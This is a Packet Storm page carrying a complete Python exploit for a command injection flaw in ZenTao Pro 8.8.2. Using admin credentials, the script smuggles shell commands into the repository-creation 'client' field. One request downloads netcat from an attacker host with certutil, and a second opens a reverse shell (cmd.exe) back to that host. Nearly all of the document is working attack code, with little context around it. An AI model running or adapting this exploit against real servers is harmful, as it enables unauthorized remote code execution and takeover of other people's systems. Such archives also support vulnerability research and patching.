what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZenTao Pro 8.8.2 Command Injection

ZenTao Pro 8.8.2 Command Injection
Posted Jul 3, 2020
Authored by Daniel Monzon, Melvin Boers

ZenTao Pro version 8.8.2 suffers from a remote command injection vulnerability.

tags | exploit, remote
SHA-256 | 88047021ac7e39af78404eaf3bc03d029ca987e039a286560260a125bbf65e1f

ZenTao Pro 8.8.2 Command Injection

Change Mirror Download
# Exploit Title: ZenTao Pro 8.8.2 - Command Injection
# Date: 2020-07-01
# Exploit Author: Daniel Monzón & Melvin Boers
# Vendor Homepage: https://www.zentao.pm/
# Version: 8.8.2
# Tested on: Windows 10 / WampServer
# Other versions like pro or enterprise edition could be affected aswell
# Netcat is needed to use this exploit


import requests
import hashlib
import urllib.parse


host = 'http://192.168.223.132'
username = 'admin'
password = 'Test123!@#'
name = 'Test2'
command = 'certutil.exe+-urlcache+-f+-split+http%3A%2F%2F192.168.223.131%2Fnc.exe+C%3A%5Cbad.exe+%26%26'
command2 = 'C:\\bad.exe 192.168.223.131 9001 -e cmd.exe &&'
git_path = 'C%3A%5CProgramData'



x = requests.session() # Create a session, as needed because we need admin rights.



def sign_in(url, username, password):
password = hashlib.md5(password.encode('utf-8')).hexdigest() # We need to md5 encode the password in order to sign in
proxy = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'} # Just for debugging phase
credentials = {'account' : username, 'password' : password} # The credentials we need
path = url + '/zentao/user-login.html' # URL + path
x.post(path, data=credentials, proxies=proxy, verify=False) # Send the post request to sign in
return '[*] We are signed in!'


def go_to_repo(url):
path = url + '/zentao/repo-browse.html'
x.get(path, verify=False)

print('[*] Getting to repo path')



def create_repo(url, name, command):
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin':'http://192.168.223.132',
'Referer':'http://192.168.223.132/pro/repo-create.html',
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
'Accept-Language':'en-US,en;q=0.5'}

cookies = {'ajax_lastNext':'on',
'windowWidth':'1846',
'windowHeight':'790'}

path = url + '/zentao/repo-create.html'
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

print('[*] Creating the repo')


def get_shell(url, name, command):
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin':'http://192.168.223.132',
'Referer':'http://192.168.223.132/pro/repo-create.html',
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
'Accept-Language':'en-US,en;q=0.5'}

cookies = {'ajax_lastNext':'on',
'windowWidth':'1846',
'windowHeight':'790'}

path = url + '/zentao/repo-create.html'
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command2
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

print('[*] Check your netcat listener!')


def main():
switch = True

if switch:
sign_in(host, username, password)
if switch:
go_to_repo(host)
if switch:
create_repo(host, name, command)
if switch:
get_shell(host, name, command2)
switch = False


if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close